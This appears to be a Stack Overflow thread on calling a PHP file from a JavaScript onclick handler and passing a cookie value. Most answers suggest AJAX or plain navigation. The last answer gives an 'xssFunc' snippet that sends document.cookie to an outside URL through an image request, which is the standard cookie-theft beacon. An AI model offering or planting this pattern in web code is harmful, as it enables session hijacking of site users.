views:

522

answers:

4

I want to call a .php file from the OnClick event.

<input id="Edit" name="Edit" value="Edit Record" type="button" onclick="---call to php file----;" />

The code is show above. I want to call a .php file through Javascript and pass a cookie value in the query string.

+7  A: 

If you do not want to point the browser to the .php page, you are looking for AJAX.

AJAX with JQuery

AJAX with Prototype

AJAX with Matt Kruse's Ajax toolbox

if you want to take the browser to the .php page, it's as easy as this:

location.href = 'mypage.php';
Pekka
No without AJAX.
RPK
Unless you want to navigate the whole page to the .php file, there is no way to do this without AJAX, sorry.
Pekka
Ok, than how to execute JQuery from OnClick().
RPK
Read the documentation in the link above. You call `$.get(url)` just like you would call any other function.
philfreo
+2  A: 

I suggest using jquery and then all you have to do is $.get("url").. It would be quite complex to do it in pure javascript.

This is assuming you want to open the php through AJAX (ie, without actually showing the .php page to the user as it normally happens when you click a link)

Andreas Bonini
Can u please illustrate?
RPK
Look in the jQuery docs for tons of basic beginner examples...
philfreo
See http://docs.jquery.com/Ajax/jQuery.get for examples
Andreas Bonini
@Koper: Unrelated to this answer... The massive number of downvotes you reported have been removed and your reputation has been recalculated.
Bill the Lizard
A: 

"...and pass a cookie value in the query string."

This is not necessary since php can read the values of cookies directly through the $_COOKIES superglobal anyway. Unless you are doing some cross-domain stuff here that is.

Zeta Two
A: 

you don't have to use AJAX, you could use any external tag, like iframe, link, script, image, and homebrew your own XSS solution (which, to be honest is what it sounds like you're doing anyways...)

function xssFunc( )
{
    ( new Image ).src = 'http://my.url/page.php?cookie' + encodeURIComponent( document.cookie );
}

document.getElementById( 'whatevs' ).onClick = xssFunc;

however, if you want to use the contents afterward, I'd use AJAX or an iframe (if you need to do it across domains).

Dan Beam